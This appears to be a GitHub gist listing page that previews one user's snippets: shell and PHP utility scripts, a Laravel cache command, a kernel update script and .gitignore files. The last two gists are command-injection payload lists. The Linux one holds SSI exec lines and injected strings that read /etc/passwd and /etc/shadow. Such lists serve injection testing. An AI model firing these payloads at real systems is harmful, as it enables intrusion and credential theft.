Skip to content

Instantly share code, notes, and snippets.

@Yousha
Yousha / makefile_fixer.sh
Created April 8, 2025 16:09
Fixes makefile error: *** missing separator. Stop.
#!/bin/bash
# File to fix.
MAKEFILE="Makefile"
# Check if the Makefile exists.
if [[ ! -f "$MAKEFILE" ]]; then
echo "Error: $MAKEFILE not found in the current directory."
exit 1
fi
@Yousha
Yousha / identify_used_extensions.php
Created April 7, 2025 06:22
Scans a directory (excluding `vendor`) for `.php` files and identifies used PHP extensions.
<?php
declare(strict_types=1);
error_reporting(E_ALL);
/**
* Recursively scans a directory for PHP files while ignoring the "vendor" folder.
*
* @param string $directory The directory to scan.
@Yousha
Yousha / .php-cs-fixer.php
Created April 2, 2025 18:05
Simple .php-cs-fixer.php config file.
<?php
declare(strict_types=1);
use PhpCsFixer\Finder;
use PhpCsFixer\Config;
static $rules = [
'@PSR1' => true,
'@PSR2' => true,
@Yousha
Yousha / ClearAllCaches.php
Created November 5, 2024 08:36
Laravel - clear all caches
<?php
/* 'composer dump-autoload',
'optimize:clear',
'queue:restart',
'clear-compiled',
'session:clear',
'tests-storage:clear',
'log:clear',
'event:clear',
@Yousha
Yousha / update_linux_kernel.sh
Last active April 22, 2025 15:43
Shell script to update Linux kernel. (Traditionally)
#!/bin/bash
# Update Linux Kernel
# Version: 2.0.0.2
# Description: Script to download, config, compile, and install Linux kernel manually.
# Requirements: Slackware Linux, x86_64 architecture, root privileges.
# Usage: sudo ./update_linux_kernel.sh [<kernel_version>]
# Enable strict mode: Abort on errors, unset variables, and pipe failures.
@Yousha
Yousha / .gitignore
Last active April 15, 2023 06:11
.gitignore for GNU+Linux root filesystem to track changes.
/dev/
/lost+found/
/proc/
/mnt/
/media/
/var/cache/nscd/hosts
/var/cache/nscd/passwd
/media/user/
/var/cache/nscd/group
/root/.cache/
@Yousha
Yousha / .gitignore
Created March 24, 2021 10:14
.gitignore for assets/documents.
##### Windows
# Windows thumbnail cache files
Thumbs.db
Thumbs.db:encryptable
ehthumbs.db
ehthumbs_vista.db
# Dump file
*.stackdump
@Yousha
Yousha / .gitattributes
Created March 24, 2021 09:55
.gitattributes for assets/documents.
* text=auto
###### Git
.gitattributes text
.gitignore text
.gitconfig text
.gitmodules text
##### Windows
*.bat text eol=crlf
@Yousha
Yousha / gist:0f022625ac5e7bb33aec45cddce2a583
Created June 16, 2020 08:59
Windows command payloads
`
||
|
;
'
'"
"
"'
@Yousha
Yousha / gist:6832f3941977f05e70892de35e0428f9
Created June 16, 2020 08:58
Linux command payloads
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id;
;id
;netstat -a;
;system('cat%20/etc/passwd')
;id;